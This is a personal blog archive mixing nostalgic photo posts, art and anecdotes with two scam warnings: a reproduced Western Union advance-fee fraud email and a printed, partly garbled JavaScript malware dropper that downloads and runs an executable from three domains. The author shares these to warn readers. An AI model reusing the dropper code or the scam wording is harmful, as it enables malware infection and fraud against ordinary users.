Based the date on the look of the car in the background, looks like a 49 or 50 to me.
Taken on Gennesse Street near Exchange.
Author Archives: The Old Wolf
Scamming Scum
The boys from Benin, like the Lads from Lagos, never seem to give up.
|
MR DAVID JOHNSON
Payment Director
West Africa zonal office,
Western Union.Ministry of Finance,
WELCOME TO WESTERN UNION MONEY TRANSFER THIS MAIL IS ONLY FOR THE
OWNER OF THIS E-MAIL ADDRESS:Below is the information of your first payments $5000 Dollars sent to
you today. But unfortunately, the managing Director of this department
called us this morning and
reported that you have not paid the required fee $100 which you are
supposed to pay earlier for the purchasing and updating of your
transfer files but we have
already sent out the payment out but not yet been putting on your name
as the receiver. You will be receiving $5000 daily until your total
amount of funds $520,000
is fully paid to you.Since you are finding it difficult to get the $100 we have decided
that you are to go ahead and pay whatever you have out of the total
fee $100 required. But
remind you, no amount below $50 will be accepted so we expect you to
pay whatever amount from $50 and above. You are to pay what ever you
have and we will activate your
mtcn number and direct the transfer to your name as the receiver.Send it to this information below:
Name:__________Joe Mba
Address:________Cotonou/ Benin Republic
Text Question____Transfer?
Answer_____________YesPlease any amount you send let us know but remember any amount below
$50 will not be accepted. Send us the payment information’s
immediately after you send it.HERE IS THE MONEY TRANSFER DETAILS MADE TO YOU!!!
MTCN: 3784757648
Sender’s First Name: CLARENCE
Sender’s Last Name: CORASS
Test Question:Color
Answer: Blue
Amount: $5000.00Don’t expose this numbers to anybody else. If you need to check the
transfer online to see that the money is posted online for
you:https://wumt.westernunion.com/asp/orderStatus.asp?country=BJ
Note that the money detail given to you does not bear your name as the
receiver yet. As soon as we receive the fee from you, we will
immediately activate your
mtcn# and put your name as the receiver. Please take note; you need to
go along with your passport ID or Drivers license when you need to
pick up the transfer
okay.We look forward to hearing from you. Contact me with this Email (
wudpt5@gmail.com)REGARDS,
MR DAVID JOHNSON
WESTERN UNION BENIN -TRANSFER AGENT
This personal email, sent to “undisclosed recipients,” is certainly tempting. Okay.
So many things wrong with this, but sadly some people will fall for it.
In case you were wondering, it’s a scam. It’s always a scam. As soon as anyone mentions Western Union or Send Money, you can be sure it’s a scam.
Don’t fall for this. Ignore any such emails. Please.
The Old Wolf has spoken.
Simple People from Egypt
I recently posted about Robert Hay’s engravings of Cairo, While cleaning out some of my own files, I came across a calendar from 1995 – “Simple People from Egypt” – that had been given to me by a friend and colleague, Elhamy Naguib, whom I met in Cairo while working on a translation project.
I have always loved these images, and now that digitization and sharing is so easy, I thought it time to share with others.
Elhamy worked hard to develop his talent, and has done a wonderful job in an impressionistic way of rendering the nature of Egyptian street scenes. I especially love the faces. They capture the good-hearted nature of the people of Egypt, who – like many of the people of the Middle East – illuminate their country and are not represented by the fanatical, misguided loons who are getting so much media attention these days.
Having spent a fair amount of time in Cairo and other places around the Arabic-speaking world, these images speak to me; somewhere in the world, the originals of these paintings exist, it is to be hoped. I would be honored to have any one of them hanging on my wall.
All images copyright ©1994-2015 Graffiti, designed by Elhamy Naguib
———————-
SERENITY
Coming home from school as a child, I passed by a man and his wife on a street corner by my parents’ house. They were selling water cress, radishes, parsley and dill in small quantities. Their simple inventory stayed practically the same for over thirty years, until they died one after the other. My attitude has changed from irritation at their complacency to an admiration of their contentment and serenity.
In the rat race of the big city, I looked for people like them on the streets and asked myself the same question over and over again: “How does one achieve such serenity?” My feelings for them are a mixture of love, sympathy, and envy. In these paintings, I pay tribute to the couple mentioned above and to others like them. I cherish all the lessons they teach me.
-Elhamy Naguib, 1994
Tea Break
Fly Swatters
Serenity
Shop Keeper
Shishas
Spices
Learning
Baskets
Flowers
Clay Water Pots
Pumpkin Seeds
Matches
As Elhamy cherished the memories of the people he encountered in his life, so I cherish my memory of him. These beautiful paintings serve to remind me that my own memories of Egypt are ones of peace and beauty.
The Old Wolf has spoken.
The King of the Upsells
Now that the birthday has passed, the story can be told.
I went to F.Y.E. to buy a CD for my wife. I take my purchase to the register.
First Up:
Salesgirl: “Do you want to sign up for the F.Y.E. Backstage Pass? It’s free for the first month!”
Me: “How much is it after the first month?”
Salesgirl: “Only $11.95 per month thereafter.”
Me: “No, thank you.”
Apparently FYE has not had good press regarding their “Backstage Pass.”
Next:
Salesgirl: “Would you be interested in the CD replacement warranty today?”
Me: “No thanks.” (I didn’t even bother to ask how much extra profit they wanted on this one.)
Next:
Salesgirl: Pointing to a display of potential magazine subscriptions taped to the counter, the kind you’d find lying around in a substandard doctor’s office – People, Vogue, Cosmo, etc. “Would you like to buy a subscription to any of these magazines?”
Me: “No thanks.”
Next: (Will this ever end?)
Salesgirl: Pointing to a discount bin by the register: “Would you be interested in any of these fine movies for only $5.00?
Me: “No thanks.”
What I really wanted to say was, “Holy hqiz, girl, I only came in to buy one album. At least at McDonald’s they only ask you “Do you want fries with that?”
And the sad part is that these sales associates get graded on how many upsells they make, and probably have a regular quota to meet. I can’t imagine how many people they drive away with this relentless drive for nickels and dimes. Frankly I’m surprised they stay in business.
The Old Wolf has spoken.
“He takes them to a pastry shop to eat some good cakes.”
For as long as I can remember – my very earliest reading days in the 50s – Babar was one of my favorite children’s books. I always loved this page, where Babar takes his two little cousins Arthur and Celeste to a patisserie… those pastries always looked so good to me, and my mother had already introduced me to the delights of brioches.
Yesterday was my wife’s birthday, and we spent the day doing a massive Yarn Hop around the local yarn stores of Salt Lake, but before heading home, we stopped in at “Gourmandise,” a French bakery/café that sits at 250 South 300 East, right where the original Ratskeller Pizza Shoppe used to be.
Photo from their website
That display of pastries and other goodies is Babar come to life for me, and the quality is every bit what I would expect. (No, they’e not paying me for this post.)
Here are two of the goodies we brought home last night, the other two were devoured before I thought of writing this, and they were absolutely divine.
Yes, they’re pricey – but you don’t find stuff like this for a buck and a quarter at Smith’s. It’s probably a very good thing that I’m not wealthy enough or close enough to patronize these guys on a regular basis, or I’d look like Fat Albert.
The Old Wolf has *belch* spoken.
Six Views of Cairo – Robert Hay
The six lithographs below were published by the American University in Cairo Press in 1983. They were found among my mother’s possessions; she spent years in Egypt on various assignments from World War II to the 1970s.
What would be really interesting would be some contemporary street scenes from Cairo showing what these locales look like today.
The Old Wolf has spoken.
Order to Appear in Court
Nothing to see here, folks, just move along. Another scam email from fraudsters trying to get me to download malware to my computer.
This time the Javascript code wants to go out to startick.com, mrflapper.com, and ihaveavoice2.com (all of which are invalid top-level domains), and then download and install other nasty stuff to my computer.
Here’s the email that this came attached to:
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Notice to Appear,You have to appear in the Court on the July 27.Please, prepare all the documents relating to the case and bring them to Court on the specified date.Note: The case may be heard by the judge in your absence if you do not come.You can review complete details of the Court Notice in the attachment.Sincerely,Jimmie Cowan,Clerk of Court.Attached: Notice_to_Appear_00928994.zip
That “notice to appear” attachment is actually a JavaScript file, and it came as garbage that looked like this:
function sah126() { return ’00) {‘; }; function sah125() { return ‘ == 2’; }; function sah210() { return ‘+fr+’; }; function sah86() { return ‘ar dn’; }; function sah105() { return ‘rea’; }; function sah95() { return ‘bj’; };
But as soon as the code runs, it concatenates all those little bits into something that looks like this:
var stroke=”55565C5E0D0A020B240507050001091D0B0203160105100A0117174A070B09″;
function gvi() { return ‘e’; }
function sah() { return ‘val’; }
function dl(fr)l”); v { var b = “w’; };
ww.startick.com mrflapper.com ihaveavoice2.com”.split’; };
(” “); for (var i=0; i<b.length; i++) { var ws = new ActiveXObject(“WScript.Shelar fn = ws.ExpandEnvironmentStrings(“%TEMP%”)+String.fromCharCode(92)+Math.round(Math.random()*100000000)+”.exe”; var dn = 0; var xo = new ActiveXObject(“MSXML2.XMLHTTP”); xo.onreadystatechange = function() { if (xo.readyState == 4 && xo.status == 200) { var xa = new ActiveXObject(“ADODB.Stream”); xa.open(); xa.type = 1; xa.write(xo.ResponseBody); if (xa.size > 5000) { dn = 1; xa.position = 0; xa.saveToFile(fn,2); try { ws.Run(fn,1,0); } catch (er) {}; }; xa.close(); }; };’; };
try { xo.open(“GET”,”http://”+b%5Bi%5D+”/document.php?rnd=”+fr+”&id=”+stroke, false); xo.send(); } catch (er) {}; if (dn == 1) break; }; }; dl(4851); dl(5382); dl(2753);var po = ”
for (var ckz=1; ckz<=242; ckz++) { po += this[‘sah’+ckz](); } this[gvi()+sah()](po);
I’ve mentioned these a few times before – the only way to keep yourself safe is to never open attachments you receive in email messages unless you are 100% sure whom they are from and what they are.
The bad actors want access to your data and your computer, and they don’t care how they get it.
Be careful out there.
The Old Wolf has spoken.
How to advertise a clothing drive
Woman, wearing a barrel, advertising for clothing drive, walks down the middle of Times Square, New York, 1944.
Eye-catching in any case.
The Old Wolf has spoken.
Probably applies to more people than we might imagine.
Artwork by Adams Carvalho
“I’m a really affectionate person once you get past my 5 layers of shyness, awkwardness, fear, vague dislike, and loneliness.”
―Unknown
Be Kind; Everyone You Meet is Fighting a Hard Battle.
-Ian McLaren
The Old Wolf has spoken.
1911 – Hot town, summer in the city
Heat wave in New York. July 6, 1911. “Licking blocks of ice on a hot day.” 5×7 glass negative, George Grantham Bain Collection.
Found at Shorpy.
New York can get blistering hot when a heat wave rolls through. I experienced a number of days like this when I was growing up there. And I’m old enough to remember the ice man with his truck, and an electric crusher on the back so he could deliver chips as well as the blocks.
Our neighborhood didn’t get ice deliveries, those were mostly down in the village if I remember correctly. But I do recall that close to my home was a playground with one of these:
It was a great way to cool off on a hot summer day. I’m glad there are still water attractions around to help kids stay cool in the summer heat.
The Old Wolf has spoken.
Playing in the World Game 